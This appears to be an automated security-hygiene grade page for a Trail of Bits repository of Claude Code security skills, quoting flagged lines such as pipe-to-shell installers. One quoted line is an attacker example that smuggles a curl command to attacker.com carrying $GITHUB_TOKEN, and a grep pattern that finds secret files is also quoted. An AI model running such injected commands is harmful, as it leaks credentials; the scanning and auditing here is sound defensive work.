Claude Code, Skill
skills
Trail of Bits Claude Code skills for security research, vulnerability detection, and audit workflows
Compatibility: Not stated.
Grade D
Two or more Medium findings, or a High finding. Only try it in a sandbox.
Not a guarantee. A hygiene check of the source at the commit shown, not a security audit.
Rescanned at commit a3131740a392.
INSTALL_REMOTE_SCRIPT
Why this grade
- INSTALL_REMOTE_SCRIPT High
Fetches a script from the network and runs it (a pipe to a shell, or an install hook with a URL).
plugins/culture-index/skills/interpreting-culture-index/workflows/extract-from-pdf.md, line 8
- `uv` - Install with `brew install uv` or `curl -LsSf https://astral.sh/uv/install.sh | sh`
Any High, or two or more Medium findings, give D. One Medium gives C. Low findings or a security Note give B. Each code names a finding behind the letter.
If you think this grade is wrong, email [email protected] with the entry link and your evidence. We aim to acknowledge within two working days and decide within seven. If we confirm an error, we aim to correct it within 24 hours of confirming it. These are aims, not guarantees.
Grades are a hygiene check of the source at the commit shown, on the date checked, not a security audit or a guarantee. The free directory grades are automated. Before release, a PlugVet engineer reviews every paid report and any grade we hold back, including all F grades, against the source code and the evidence we quote.
What was checked
Plain notes from the hygiene checks.
Permissions
Note
requests shell access. The manifest names this permission.
PERMISSION_SHELL_DECLARED
plugins/code-improver/evals/test_check_contamination.py, line 18
return subprocess.run(
plugins/code-improver/evals/test_check_contamination.py, line 118
strict = subprocess.run(
plugins/code-improver/evals/test_check_contamination.py, line 122
relaxed = subprocess.run(
Show more
plugins/code-improver/evals/test_check_contamination.py, line 131
read_body = subprocess.run(
plugins/code-improver/evals/ablation/scorecard.py, line 78
subprocess.run(
plugins/code-improver/evals/ablation/scorecard.py, line 84
root_sha = subprocess.run(
plugins/code-improver/evals/pr-mode/scaffold.sh, line 100
branch = subprocess.run(
plugins/code-improver/evals/pr-mode/scaffold.sh, line 104
diff = subprocess.run(
Install and update
Serious
install fetches a script from the network. The docs document an installer that pipes a download into a shell.
INSTALL_REMOTE_SCRIPT INSTALL_DOCUMENTED_INSTALLER
plugins/culture-index/skills/interpreting-culture-index/workflows/extract-from-pdf.md, line 8
- `uv` - Install with `brew install uv` or `curl -LsSf https://astral.sh/uv/install.sh | sh`
.github/workflows/lint.yml, line 40
curl -LsSf https://astral.sh/uv/install.sh | sh
.github/workflows/lint.yml, line 118
curl -LsSf https://astral.sh/uv/install.sh | sh
Show more
plugins/devcontainer-setup/skills/devcontainer-setup/resources/Dockerfile, line 76
RUN curl -fsSL https://claude.ai/install.sh | bash && \
plugins/devcontainer-setup/skills/devcontainer-setup/resources/Dockerfile, line 93
RUN curl -fsSL https://fnm.vercel.app/install | bash -s -- --install-dir "$FNM_DIR" --skip-shell --release "v${FNM_VERSION}" && \
plugins/modern-python/skills/modern-python/references/security-setup.md, line 19
curl --proto '=https' --tlsv1.2 -LsSf https://github.com/j178/prek/releases/latest/download/prek-installer.sh | sh
plugins/modern-python/skills/modern-python/references/uv-commands.md, line 11
curl -LsSf https://astral.sh/uv/install.sh | sh
plugins/testing-handbook-skills/skills/libafl/SKILL.md, line 82
curl --proto '=https' --tlsv1.2 -sSf https://sh.rustup.rs | sh
Network
Concern
can reach a host that is not written as a fixed address. can reach pecl.php.net. The description does not name that host.
NETWORK_NO_FIXED_HOST NETWORK_UNNAMED_HOST
plugins/agentic-actions-auditor/skills/agentic-actions-auditor/references/vector-g-eval-of-ai-output.md, line 78
# attacker crafts: {"labels": ["$(curl attacker.com/exfil?t=$GITHUB_TOKEN)"]}
plugins/code-improver/evals/deep-reviewer/scaffold.sh, line 54
curl -s -o /dev/null -w '%{http_code}' --max-time 5 "$1"
plugins/constant-time-analysis/skills/constant-time-analysis/references/php.md, line 17
VLD_VERSION=$(curl -fsS https://pecl.php.net/package/vld |
Show more
plugins/devcontainer-setup/skills/devcontainer-setup/references/dockerfile-best-practices.md, line 36
curl \
plugins/devcontainer-setup/skills/devcontainer-setup/references/dockerfile-best-practices.md, line 89
RUN curl -fsSL "https://example.com/tool-${TARGETARCH}.tar.gz" | tar xz
plugins/insecure-defaults/references/fallback-secrets.md, line 39
ENV.fetch('SECRET_KEY_BASE', 'fallback-secret-base')
plugins/modern-python/skills/modern-python/SKILL.md, line 283
uv run --with requests python -c "import requests; print(requests.get('https://httpbin.org/ip').json())"
plugins/modern-python/skills/modern-python/references/pep723-scripts.md, line 35
response = requests.get("https://api.example.com/data")
Secrets
Concern
reads a credential or environment file.
SECRETS_ENV_READ SECRETS_PATH_DOTENV
plugins/devcontainer-setup/skills/devcontainer-setup/resources/post_install.py, line 30
token = os.environ.get("CLAUDE_CODE_OAUTH_TOKEN", "").strip()
plugins/insecure-defaults/references/debug-features.json, line 6
"(getenv|environ\\.get|process\\.env).{0,40}(DEBUG|VERBOSE).{0,40}(or|\\|\\|)[[:space:]]*(True|true|['\"]1['\"])",
plugins/insecure-defaults/references/fail-open-security.json, line 7
"(getenv|environ\\.get|process\\.env)[^)]*\\)[[:space:]]*(or|\\|\\|)[[:space:]]*(False|false|['\"](false|0|off|no)['\"])",
Show more
plugins/devcontainer-setup/skills/devcontainer-setup/resources/post_install.py, line 244
.env.local
plugins/open-sourcing/skills/open-sourcing/scripts/check_readiness.sh, line 46
grep -iE '(^|/)(\.env(\..+)?|.*\.pem|.*\.p12|.*\.pfx|.*\.keystore|id_(rsa|dsa|ecdsa|ed25519).*|.*credentials.*\.(json|xml|yml|yaml))$' |
Agent instructions
Pass
No instruction to ignore earlier instructions or to hide a step.
Obfuscation
Note
the file cap was reached before every file was read.
OBFUSCATION_FILE_CAP_REACHED
plugins/dimensional-analysis/skills/dimensional-analysis/references/common-dimensions.md, line 1
# Common Dimensions in DeFi
Licence
Pass
A licence file is present (LICENSE).
Maintainer activity
Pass
The latest commit is within the last 365 days.
Note
Hygiene check of commit a3131740a392. requests shell access. The manifest names this permission. install fetches a script from the network. can reach a host that is not written as a fixed address. can reach pecl.php.net. The description does not name that host. reads a credential or environment file. the file cap was reached before every file was read.
Date and source
Date checked:
github.com
Commit graded: a3131740a39291e42fd15b9eac07e0b393ad71b1
This link goes to the original host. PlugVet does not host or check what you download from there, and installing it is your own decision and risk.